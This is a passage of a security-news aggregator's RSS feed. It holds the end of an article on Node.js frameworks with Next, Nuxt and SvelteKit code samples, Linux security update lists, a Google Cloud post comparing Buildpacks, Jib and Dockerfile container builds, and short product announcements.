  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (chromium, libxfont, mesa, opam, and wireless-regdb), Fedora (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-d...]]></description>
<link>https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 13 Jul 2026 14:41:08 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (chromium, libxfont, mesa, opam, and wireless-regdb), <b>Fedora</b> (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-dulwich, python-idna, python-pillow, python-tornado, sssd, tmux, upower, webkitgtk, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Mageia</b> (libarchive and vim), <b>Oracle</b> (389-ds:1.4, buildah, cups, edk2, freerdp, golang, grafana, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, kernel, libexif, libsolv, libtasn1, libxml2, nginx:1.24, nginx:1.26, nodejs:22, nodejs:24, oci-seccomp-bpf-hook, podman, postgresql:18, python-urllib3, tigervnc, tomcat, unbound, and xorg-x11-server), <b>Slackware</b> (p11-kit), and <b>SUSE</b> (agama, dash, dracut, flannel, go1.26, gsasl, gstreamer-plugins-good, ImageMagick, imagemagick, kernel, krb5, krb5, krb5-mini, libIex-3_4-33, libmbedtls23, libxfont2, nasm, nghttp2, perl-CGI-Session, perl-dbi, perl-List-SomeUtils-XS, python-pillow, python-social-auth-app-django, python-urllib3, python313-Django4, python313-Django6, python313-pytest-html, python313-sqlparse, python313-websockets, rclone, rust-keylime, rustup, sccache, spectre-meltdown-checker, sssd, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm, terraform-provider-kubernetes, terraform-provid, thunderbird, tiff, traefik2, xorg-x11-server, and xwayland).]]></content:encoded>
</item>
<item>
<title><![CDATA[Buildpacks vs Jib vs Dockerfile: Comparing containerization methods]]></title>
<description><![CDATA[As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of ...]]></description>
<link>https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.</p><p>That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.</p><p>A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the <a href="https://opencontainers.org/" target="_blank">Open Container Initiative (OCI)</a> and the virtualization layer switched from lxc to <a href="https://github.com/opencontainers/runc" target="_blank">runc</a> (also an OCI project).</p><p>The traditional way to build a Docker container is built into the <code>docker</code> tool and uses a sequence of special instructions usually in a file named <code>Dockerfile</code> to compile the source code and assemble the "layers" of a container image.</p><p>Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:</p><ul><li>Container Builders - Turn source code into a Container Image</li><li>Container Images - Archive files containing a "runnable" application</li><li>Containers - Run Container Images</li></ul><p>With Java EE those three categories map to technologies like:</p><ul><li>Container Builders == Ant or Maven</li><li>Container Images == .jar, .war, or .ear</li><li>Containers == JBoss, WebSphere, WebLogic</li></ul><p>With Docker / OCI those three categories map to technologies like:</p><ul><li>Container Builders == Dockerfile, Buildpacks, or Jib</li><li>Container Images == .tar files usually not dealt with directly but through a "container registry"</li><li>Containers == Docker, Kubernetes, Cloud Run</li></ul><h3>Java Sample Application</h3>Let's explore the Container Builder options further on a little Java server application.  If you want to follow along, clone my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a>:<p><code>git clone https://github.com/jamesward/comparing-docker-methods.git</code><br></p><p><code>cd comparing-docker-methods</code></p><p></p><p>In that project you'll see a basic Java web server in <code>src/main/java/com/google/WebApp.java</code> that just responds with "hello, world" on a GET request to <code>/</code>. Here is the source:<br></p><p></p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'package com.google;\r\n\r\nimport com.sun.net.httpserver.HttpServer;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class WebApp {\r\n\r\n  public static void main(String[] args) throws IOException {\r\n    int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));\r\n    HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);\r\n\r\n    server.createContext("/", handler -&gt; {\r\n      byte[] response = "hello, world".getBytes();\r\n      handler.sendResponseHeaders(200, response.length);\r\n      try (OutputStream os = handler.getResponseBody()) {\r\n        os.write(response);\r\n      }\r\n    });\r\n\r\n    System.out.println("Listening at http://localhost:" + port);\r\n\r\n    server.start();\r\n  }\r\n}'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860670&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>This project uses Maven with a minimal <code>pom.xml</code> build config file for compiling and running the Java server:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;?xml version="1.0" encoding="UTF-8"?&gt;\r\n&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\n    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.google&lt;/groupId&gt;\r\n  &lt;artifactId&gt;sample-java-mvn&lt;/artifactId&gt;\r\n  &lt;packaging&gt;jar&lt;/packaging&gt;\r\n  &lt;version&gt;0.1.0-SNAPSHOT&lt;/version&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;\r\n  &lt;/properties&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;plugins&gt;\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;\r\n        &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;1.6.0&lt;/version&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;java&lt;/goal&gt;\r\n            &lt;/goals&gt;\r\n          &lt;/execution&gt;\r\n        &lt;/executions&gt;\r\n        &lt;configuration&gt;\r\n          &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\r\n        &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;3.2.0&lt;/version&gt;\r\n        &lt;configuration&gt;\r\n          &lt;archive&gt;\r\n            &lt;manifest&gt;\r\n              &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n            &lt;/manifest&gt;\r\n          &lt;/archive&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n    &lt;/plugins&gt;\r\n  &lt;/build&gt;\r\n\r\n&lt;/project&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860c10&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:</p><p><code>./mvnw compile exec:java</code></p><p>You can test the server by visiting: <a href="http://localhost:8080/" target="_blank">http://localhost:8080</a></p><h3>Container Builder: Buildpacks</h3><p>We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: <a href="https://buildpacks.io/" target="_blank">https://buildpacks.io/</a></p><p>To use Buildpacks you will need to <a href="https://docs.docker.com/get-started/" target="_blank">install Docker</a> and <a href="https://github.com/buildpacks/pack/releases" target="_blank">the pack tool</a>. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:</p><p><code>pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks</code></p><p>Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened?  Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the <code>pom.xml</code> file and decided it knows how to build Maven-based applications. The <code>--builder</code> flag told it where to get the Buildpacks from. In this case, <code>gcr.io/buildpacks/builder:v1</code> are the Container Image coordinates to <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks">Google Cloud's Buildpacks</a>. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter <code>comparing-docker-methods:buildpacks</code> is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with <code>docker</code>:</p><p><code>docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks</code></p><p>Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.</p><p>Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called <a href="https://github.com/wagoodman/dive" target="_blank"><code>dive</code></a> to examine what is in the created container image:</p><p><code>dive comparing-docker-methods:buildpacks</code></p><p></p><p></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_comparison.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>Here you can see the Container Image has 11 layers and a total image size of 319MB. With <code>dive</code> you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.</p><p>To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.</p><h3>Container Builder: Jib</h3><p>The open source <a href="https://github.com/GoogleContainerTools/jib" target="_blank">Jib project</a> is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the <code>pom.xml</code> file:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;plugin&gt;\r\n    &lt;groupId&gt;com.google.cloud.tools&lt;/groupId&gt;\r\n    &lt;artifactId&gt;jib-maven-plugin&lt;/artifactId&gt;\r\n    &lt;version&gt;2.6.0&lt;/version&gt;\r\n&lt;/plugin&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d30&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Now a Container Image can be created and stored in the local docker daemon by running:</p><p><code>./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib</code></p><p>Using <code>dive</code> we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Spring_Boot_Application.max-1000x1000.png" alt="Spring Boot Application">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.</p><h3>Container Builder: Dockerfile</h3><p>The traditional way to create Container Images is built into the <code>docker</code> tool and uses a sequence of instructions defined in a file usually named <code>Dockerfile</code>. Here is a <code>Dockerfile</code> you can use with the sample Java application:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM adoptopenjdk/openjdk8 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nFROM adoptopenjdk/openjdk8:jre\r\n\r\nCOPY --from=builder /app/target/*.jar /server.jar\r\n\r\nCMD ["java", "-jar", "/server.jar"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d90&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run <code>docker</code> to create the Container Image using the <code>Dockerfile</code> instructions:</p><p><code>docker build -t comparing-docker-methods:dockerfile </code></p><p>Using <code>dive</code> we can see a pretty slim Container Image at 209MB:<br></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Container_image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>With a <code>Dockerfile</code> we have full control over the layering and base images. For example, we could use the <a href="https://github.com/GoogleContainerTools/distroless/tree/master/java" target="_blank">Distroless Java base image</a> to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.</p><p>With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM oracle/graalvm-ce:20.2.0-java11 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN gu install native-image\r\n\r\n# BEGIN PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n# SEE: https://github.com/oracle/graal/blob/master/substratevm/StaticImages.md\r\nARG RESULT_LIB="/staticlibs"\r\n\r\nRUN mkdir ${RESULT_LIB} &amp;&amp; \\\r\n    curl -L -o musl.tar.gz https://musl.libc.org/releases/musl-1.2.1.tar.gz &amp;&amp; \\\r\n    mkdir musl &amp;&amp; tar -xvzf musl.tar.gz -C musl --strip-components 1 &amp;&amp; cd musl &amp;&amp; \\\r\n    ./configure --disable-shared --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /muscl &amp;&amp; rm -f /musl.tar.gz &amp;&amp; \\\r\n    cp /usr/lib/gcc/x86_64-redhat-linux/4.8.2/libstdc++.a ${RESULT_LIB}/lib/\r\n\r\nENV PATH="$PATH:${RESULT_LIB}/bin"\r\nENV CC="musl-gcc"\r\n\r\nRUN curl -L -o zlib.tar.gz https://zlib.net/zlib-1.2.11.tar.gz &amp;&amp; \\\r\n   mkdir zlib &amp;&amp; tar -xvzf zlib.tar.gz -C zlib --strip-components 1 &amp;&amp; cd zlib &amp;&amp; \\\r\n   ./configure --static --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /zlib &amp;&amp; rm -f /zlib.tar.gz\r\n#END PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nRUN native-image \\\r\n  --static \\\r\n  --libc=musl \\\r\n  --no-fallback \\\r\n  --no-server \\\r\n  --install-exit-handlers \\\r\n  -H:Name=webapp \\\r\n  -cp /app/target/*.jar \\\r\n  com.google.WebApp\r\n\r\nFROM scratch\r\n\r\nCOPY --from=builder /app/webapp /webapp\r\n\r\nENTRYPOINT ["/webapp"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860df0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the <code>native-image</code> tool creates the binary from the Jar. The <code>FROM scratch</code> instruction means the final container image will start with an empty one. The statically linked binary created by <code>native-image</code> is then copied into the empty container.</p><p>Like before you can use <code>docker</code> to build the Container Image:</p><p><code>docker build -t comparing-docker-methods:graalvm .</code></p><p>Using <code>dive</code> we can see the final Container Image is only 11MB!</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_Image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, <a href="https://jamesward.com/2020/05/07/graalvm-native-image-tips-tricks/" target="_blank">GraalVM Native Image Tips &amp; Tricks</a>.</p><p>This example does capture the flexibility of the <code>Dockerfile</code> method and the ability to do anything you need. It is a great escape hatch when you need one.</p><h3>Which Method Should You Choose?</h3><p></p><ul><li>The easiest, polyglot method: Buildpacks</li><li>Great layering for JVM apps: Jib</li><li>The escape hatch for when those methods don't fit: Dockerfile</li></ul><p></p><p>Check out my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a> to explore these methods as well as the mentioned Spring Boot + Jib example.</p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Announcing Google Cloud buildpacks—container images made easy</h4>
            <p class="uni-related-article-tout__body">Google Cloud buildpacks make it much easier and faster to build applications on top of containers.</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patchstack Now Securing NodeJS Applications for Web Hosts]]></title>
<description><![CDATA[We are rolling out NodeJS/NPM vulnerability protection and supply chain security across all Patchstack web hosting & integration partners. If you’re not an existing partner, contact us here for more information. Vibe coding makes custom app building effortless for non technical users Website crea...]]></description>
<link>https://tsecurity.de/de/3659490/it-security-nachrichten/patchstack-now-securing-nodejs-applications-for-web-hosts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659490/it-security-nachrichten/patchstack-now-securing-nodejs-applications-for-web-hosts/</guid>
<pubDate>Fri, 10 Jul 2026 13:08:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We are rolling out NodeJS/NPM vulnerability protection and supply chain security across all Patchstack web hosting &amp; integration partners. If you’re not an existing partner, contact us here for more information. Vibe coding makes custom app building effortless for non technical users Website creation is at an all time high and growing, before counting invisible […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (container-tools:rhel8, kernel-rt, libreoffice, nodejs:22, nodejs:24, opentelemetry-collector, perl-HTTP-Daemon, and python-markdown), Debian (dpkg, imagemagick, and postfix), Fedora (betterleaks, docker-compose, firefox, helm, perl-Compress-Raw-Bzip...]]></description>
<link>https://tsecurity.de/de/3654344/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654344/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 08 Jul 2026 14:53:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (container-tools:rhel8, kernel-rt, libreoffice, nodejs:22, nodejs:24, opentelemetry-collector, perl-HTTP-Daemon, and python-markdown), <b>Debian</b> (dpkg, imagemagick, and postfix), <b>Fedora</b> (betterleaks, docker-compose, firefox, helm, perl-Compress-Raw-Bzip2, perl-IO-Compress, perl-JavaScript-Minifier-XS, python-cramjam, python-fastar, python-pillow-jxl-plugin, python-rignore, and tor), <b>Oracle</b> (grafana, grafana-pcp, and ruby:4.0), <b>Slackware</b> (tftp), <b>SUSE</b> (gi-docgen, glibc, helm, helm3, json-c-devel, kubevirt-1.6, librpmbuild10, python313-dulwich, python313-lxml_html_clean, python313-openapi-spec-validator, and sdbootutil), and <b>Ubuntu</b> (ruby-addressable).]]></content:encoded>
</item>
<item>
<title><![CDATA[Slack’s Slackbot can now pull your CRM data, generate charts, and send DocuSigns — all from a chat message.]]></title>
<description><![CDATA[Five years and $27.7 billion after Salesforce acquired Slack, the two products are finally starting to function as a single system. On Tuesday, Slack launched an integration that connects Slackbot — the personal AI agent built into every workspace — to the entire Salesforce platform, including CR...]]></description>
<link>https://tsecurity.de/de/3654241/it-nachrichten/slacks-slackbot-can-now-pull-your-crm-data-generate-charts-and-send-docusigns-all-from-a-chat-message/</link>
